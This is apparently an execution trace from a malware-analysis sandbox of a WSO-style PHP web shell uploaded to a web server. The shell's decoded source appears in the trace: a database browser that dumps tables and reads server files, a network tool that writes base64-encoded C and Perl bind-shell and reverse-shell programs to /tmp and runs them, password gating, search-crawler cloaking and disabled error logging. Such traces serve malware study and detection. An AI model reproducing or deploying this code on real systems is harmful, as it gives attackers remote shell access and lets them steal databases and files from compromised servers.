  if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\r\n                    break;\r\n            }\r\n            return false;\r\n        }\r\n        function selectdb($db) {\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                    if (@mysql_select_db($db))return true;\r\n                    break;\r\n            }\r\n            return false;\r\n        }\r\n        function query($str) {\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                    return $this->res = @mysql_query($str);\r\n                    break;\r\n                case \'pgsql\':\r\n                    return $this->res = @pg_query($this->link,$str);\r\n                    break;\r\n            }\r\n            return false;\r\n        }\r\n        function fetch() {\r\n            $res = func_num_args()?func_get_arg(0):$this->res;\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                    return @mysql_fetch_assoc($res);\r\n                    break;\r\n                case \'pgsql\':\r\n                    return @pg_fetch_assoc($res);\r\n                    break;\r\n            }\r\n            return false;\r\n        }\r\n        function listDbs() {\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                        return $this->query("SHOW databases");\r\n                break;\r\n                case \'pgsql\':\r\n                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\r\n                break;\r\n            }\r\n            return false;\r\n        }\r\n        function listTables() {\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                    return $this->res = $this->query(\'SHOW TABLES\');\r\n                break;\r\n                case \'pgsql\':\r\n                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\r\n                break;\r\n            }\r\n            return false;\r\n        }\r\n        function error() {\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                    return @mysql_error();\r\n                break;\r\n                case \'pgsql\':\r\n                    return @pg_last_error();\r\n                break;\r\n            }\r\n            return false;\r\n        }\r\n        function setCharset($str) {\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                    if(function_exists(\'mysql_set_charset\'))\r\n                        return @mysql_set_charset($str, $this->link);\r\n                    else\r\n                        $this->query(\'SET CHARSET \'.$str);\r\n                    break;\r\n                case \'pgsql\':\r\n                    return @pg_set_client_encoding($this->link, $str);\r\n                    break;\r\n            }\r\n            return false;\r\n        }\r\n        function loadFile($str) {\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                    return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\r\n                break;\r\n                case \'pgsql\':\r\n                    $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM \'".addslashes($str)."\';select file from hard2;");\r\n                    $r=array();\r\n                    while($i=$this->fetch())\r\n                        $r[] = $i[\'file\'];\r\n                    $this->query(\'drop table hard2\');\r\n                    return array(\'file\'=>implode("\\n",$r));\r\n                break;\r\n            }\r\n            return false;\r\n        }\r\n        function dump($table, $fp = false) {\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                    $res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\r\n                    $create = mysql_fetch_array($res);\r\n                    $sql = $create[1].";\\n";\r\n                    if($fp) fwrite($fp, $sql); else echo($sql);\r\n                    $this->query(\'SELECT * FROM `\'.$table.\'`\');\r\n                    $i = 0;\r\n                    $head = true;\r\n                    while($▟ = $this->fetch()) {\r\n                        $sql = \'\';\r\n                        if($i % 1000 == 0) {\r\n                            $head = true;\r\n                            $sql = ";\\n\\n";\r\n                        }\r\n                        $columns = array();\r\n                        foreach($▟ as $k=>$v) {\r\n                            if($v === null)\r\n                                $▟[$k] = "NULL";\r\n                            elseif(is_int($v))\r\n                                $▟[$k] = $v;\r\n                            else\r\n                                $▟[$k] = "\'".@mysql_real_escape_string($v)."\'";\r\n                            $columns[] = "`".$k."`";\r\n                        }\r\n                        if($head) {\r\n                            $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $▟).\')\';\r\n                            $head = false;\r\n                        } else\r\n                            $sql .= "\\n\\t,(".implode(", ", $▟).\')\';\r\n                        if($fp) fwrite($fp, $sql); else echo($sql);\r\n                        $i++;\r\n                    }\r\n                    if(!$head)\r\n                        if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\r\n                break;\r\n                case \'pgsql\':\r\n                    $this->query(\'SELECT * FROM \'.$table);\r\n                    while($▟ = $this->fetch()) {\r\n                        $columns = array();\r\n                        foreach($▟ as $k=>$v) {\r\n                            $▟[$k] = "\'".addslashes($v)."\'";\r\n                            $columns[] = $k;\r\n                        }\r\n                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $▟).\');\'."\\n";\r\n                        if($fp) fwrite($fp, $sql); else echo($sql);\r\n                    }\r\n                break;\r\n            }\r\n            return false;\r\n        }\r\n    };\r\n    $db = new DbClass($_POST[\'type\']);\r\n    if((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\r\n        $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\r\n        $db->selectdb($_POST[\'sql_base\']);\r\n        switch($_POST[\'charset\']) {\r\n            case "Windows-1251": $db->setCharset(\'cp1251\'); break;\r\n            case "UTF-8": $db->setCharset(\'utf8\'); break;\r\n            case "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\n            case "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\n            case "cp866": $db->setCharset(\'cp866\'); break;\r\n        }\r\n        if(empty($_POST[\'file\'])) {\r\n            ob_start("ob_gzhandler", 4096);\r\n            header("Content-Disposition: attachment; filename=dump.sql");\r\n            header("Content-Type: text/plain");\r\n            foreach($_POST[\'tbl\'] as $v)\r\n                $db->dump($v);\r\n            exit;\r\n        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\r\n            foreach($_POST[\'tbl\'] as $v)\r\n                $db->dump($v, $fp);\r\n            fclose($fp);\r\n            unset($_POST[\'p2\']);\r\n        } else\r\n            die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\r\n    }\r\n    hardHeader();\r\n    echo "\r\n<h1>Sql browser</h1><div class=content>\r\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=ne value=\'\'><input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\r\n<td><label><select name=\'type\'><option value=\'mysql\' ";\r\n    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\r\necho ">MySql</option><option value=\'pgsql\' ";\r\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\r\necho ">PostgreSql</option></select></label></td>\r\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\r\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\r\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\" required></td><td>";\r\n    $tmp = "<input type=text name=sql_base value=\'\'>";\r\n    if(isset($_POST[\'sql_host\'])){\r\n        if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\r\n            switch($_POST[\'charset\']) {\r\n                case "Windows-1251": $db->setCharset(\'cp1251\'); break;\r\n                case "UTF-8": $db->setCharset(\'utf8\'); break;\r\n                case "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\n                case "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\n                case "cp866": $db->setCharset(\'cp866\'); break;\r\n            }\r\n            $db->listDbs();\r\n            echo "<label><select name=sql_base><option value=\'\'></option>";\r\n            while($▟ = $db->fetch()) {\r\n                list($key, $value) = each($▟);\r\n                echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\r\n            }\r\n            echo \'</select></label>\';\r\n        }\r\n        else echo $tmp;\r\n    }else\r\n        echo $tmp;\r\n    echo "</td>\r\n                <td><input type=submit value=\'submit\' onclick=\'fs(d.sf);\'></td>\r\n                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\r\n            </tr>\r\n        </table>\r\n        <script>\r\n            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\r\n            function fs(f) {\r\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n                    if(f.p1) f.p1.value=\'\';\r\n                    if(f.p2) f.p2.value=\'\';\r\n                    if(f.p3) f.p3.value=\'\';\r\n                }\r\n            }\r\n            function st(t,l) {\r\n                d.sf.p1.value = \'select\';\r\n                d.sf.p2.value = t;\r\n                if(l && d.sf.p3) d.sf.p3.value = l;\r\n                d.sf.submit();\r\n            }\r\n            function is() {\r\n                for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\r\n                    d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\r\n            }\r\n        </script>";\r\n    if(isset($db) && $db->link){\r\n        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";\r\n            if(!empty($_POST[\'sql_base\'])){\r\n                $db->selectdb($_POST[\'sql_base\']);\r\n                echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\r\n                $tbls_res = $db->listTables();\r\n                while($▟ = $db->fetch($tbls_res)) {\r\n                    list($key, $value) = each($▟);\r\n                    if(!empty($_POST[\'sql_count\']))\r\n                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\r\n                    $value = htmlspecialchars($value);\r\n                    echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\r\n                }\r\n                echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=submit value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\r\n                if(@$_POST[\'p1\'] == \'select\') {\r\n                    $_POST[\'p1\'] = \'query\';\r\n                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\r\n                    $db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\r\n                    $num = $db->fetch();\r\n                    $pages = ceil($num[\'n\'] / 30);\r\n                    echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\r\n                    echo " of $pages";\r\n                    if($_POST[\'p3\'] > 1)\r\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";\r\n                    if($_POST[\'p3\'] < $pages)\r\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";\r\n                    $_POST[\'p3\']--;\r\n                    if($_POST[\'type\']==\'pgsql\')\r\n                        $_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\r\n                    else\r\n                        $_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\r\n                    echo "<br><br>";\r\n                }\r\n                if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\r\n                    $db->query(@$_POST[\'p2\']);\r\n                    if($db->res !== false) {\r\n                        $title = false;\r\n                        echo \'<table width=100% cellspacing=1 cellpadding=2 class=main>\';\r\n                        $line = 1;\r\n                        while($▟ = $db->fetch())    {\r\n                            if(!$title) {\r\n                                echo \'<tr>\';\r\n                                foreach($▟ as $key => $value)\r\n                                    echo \'<th>\'.$key.\'</th>\';\r\n                                reset($▟);\r\n                                $title=true;\r\n                                echo \'</tr><tr>\';\r\n                                $line = 2;\r\n                            }\r\n                            echo \'<tr class="l\'.$line.\'">\';\r\n                            $line = $line==1?2:1;\r\n                            foreach($▟ as $key => $value) {\r\n                                if($value == null)\r\n                                    echo \'<td><i>null</i></td>\';\r\n                                else\r\n                                    echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\r\n                            }\r\n                            echo \'</tr>\';\r\n                        }\r\n                        echo \'</table>\';\r\n                    } else {\r\n                        echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\r\n                    }\r\n                }\r\n                echo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\r\n                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\r\n                    echo htmlspecialchars($_POST[\'p2\']);\r\n                echo "</textarea><br/><input type=submit value=\'Execute\'>";\r\n                echo "</td></tr>";\r\n            }\r\n            echo "</table></form><br/>";\r\n            if($_POST[\'type\']==\'mysql\') {\r\n                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\r\n                if($db->fetch())\r\n                    echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'submit\'></form>";\r\n            }\r\n            if(@$_POST[\'p1\'] == \'loadfile\') {\r\n                $file = $db->loadFile($_POST[\'p2\']);\r\n                echo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\r\n            }\r\n    } else {\r\n        echo htmlspecialchars($db->error());\r\n    }\r\n    echo \'</div>\';\r\n    hardFooter();\r\n}\r\nfunction actionNetwork() {\r\n    hardHeader();\r\n    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n    echo "<h1>Network tools</h1><div class=content>\r\n    <form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'>\r\n    <span>Bind port to /bin/sh</span><br/>\r\n    Port: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\r\n    </form>\r\n    <form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n    <span>Back-connect to</span><br/>\r\n    Server: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <label><select name=\'using\'><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\r\n    </form><br>";\r\n    if(isset($_POST[\'p1\'])) {\r\n        function cf($f,$t) {\r\n            $w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n            if($w)  {\r\n                @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n                @fclose($w);\r\n            }\r\n        }\r\n        if($_POST[\'p1\'] == \'bpc\') {\r\n            cf("/tmp/bp.c",$bind_port_c);\r\n            $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n            @unlink("/tmp/bp.c");\r\n            $▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n            echo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\r\n        }\r\n        if($_POST[\'p1\'] == \'bpp\') {\r\n            cf("/tmp/bp.pl",$bind_port_p);\r\n            $▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\r\n            echo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\r\n        }\r\n        if($_POST[\'p1\'] == \'bcc\') {\r\n            cf("/tmp/bc.c",$back_connect_c);\r\n            $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n            @unlink("/tmp/bc.c");\r\n            $▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n            echo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\r\n        }\r\n        if($_POST[\'p1\'] == \'bcp\') {\r\n            cf("/tmp/bc.pl",$back_connect_p);\r\n            $▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n            echo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\r\n        }\r\n    }\r\n    echo \'</div>\';\r\n    hardFooter();\r\n}\r\nif( empty($_POST[\'a\']) )\r\n    if(isset($▚) && function_exists(\'action\' . $▚))\r\n        $_POST[\'a\'] = $▚;\r\n    else\r\n        $_POST[\'a\'] = \'FilesMan\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n    call_user_func(\'action\' . $_POST[\'a\']);\r\n?>\r\n'	/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code	7	0
5	22	0	0.015013	1185016	array_key_exists	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	3	2	'watching'	[]
5	22	1	0.015032	1185080
5	22	R			FALSE
4		A						/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	7	$▛ = 'c483695afceb816420a7702b0c66f877'
4		A						/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	8	$▘ = TRUE
4		A						/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	9	$▜ = 'UTF-8'
4		A						/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	10	$▚ = 'FilesMan'
5	23	0	0.015098	1185016	md5	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	11	1	'python-requests/2.25.1'
5	23	1	0.015115	1185112
5	23	R			'ecd862b3d0595af0a0b03f511e800938'
4		A						/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	11	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
5	24	0	0.015144	1185080	md5	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	12	1	'localhost'
5	24	1	0.015158	1185176
5	24	R			'421aa90e079fa326b6494f812ad13e79'
5	25	0	0.015174	1185080	md5	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	13	1	'localhost'
5	25	1	0.015188	1185176
5	25	R			'421aa90e079fa326b6494f812ad13e79'
5	26	0	0.015203	1185144	prototype	1		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	13	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
5		A						/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	359	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
6	27	0	0.015237	1185520	setcookie	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	360	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
6	27	1	0.015256	1185720
6	27	R			TRUE
5	26	1	0.015270	1185656
4		A						/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	16	_POST['charset'] = 'UTF-8'
5	28	0	0.015292	1186032	ini_set	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	25	2	'error_log'	NULL
5	28	1	0.015310	1186104
5	28	R			''
5	29	0	0.015323	1186032	ini_set	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	26	2	'log_errors'	0
5	29	1	0.015339	1186104
5	29	R			'1'
5	30	0	0.015353	1186032	ini_set	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	27	2	'max_execution_time'	0
5	30	1	0.015373	1186136
5	30	R			'30'
5	31	0	0.015386	1186032	set_time_limit	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	28	1	0
5	31	1	0.015402	1186096
5	31	R			FALSE
5	32	0	0.015415	1186064	define	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	31	2	'VERSION'	'4.2.5'
5	32	1	0.015431	1186168
5	32	R			TRUE
5	33	0	0.015444	1186096	get_magic_quotes_gpc	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	32	0
5	33	1	0.015458	1186096
5	33	R			FALSE
5	34	0	0.015472	1186096	md5	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	43	1	'localhost'
5	34	1	0.015485	1186192
5	34	R			'421aa90e079fa326b6494f812ad13e79'
5	35	0	0.015501	1186096	hardLogin	1		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	44	0
5		A						/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	50	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
6	36	0	0.015534	1186096	implode	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	51	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
6	36	1	0.015555	1186240
6	36	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
6	37	0	0.015572	1186176	preg_match	0		/var/www/html/uploads/4.php(5) : eval()'d code(1) : eval()'d code(7) : eval()'d code	51	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
6	37	1	0.015591	1186240
6	37	R			0
			0.015627	1106832
TRACE END   [2023-02-12 21:29:33.049652]


Generated HTML code

<html><head></head><body><pre align="center"><form method="post">Password<br><input type="password" name="pass" style="background-color:whitesmoke;border:1px solid #FFF;outline:none;" required=""><input type="submit" name="watching" value="submit" style="border:none;background-color:#56AD15;color:#fff;cursor:pointer;"></form></pre></body></html>

Original PHP code

<?php

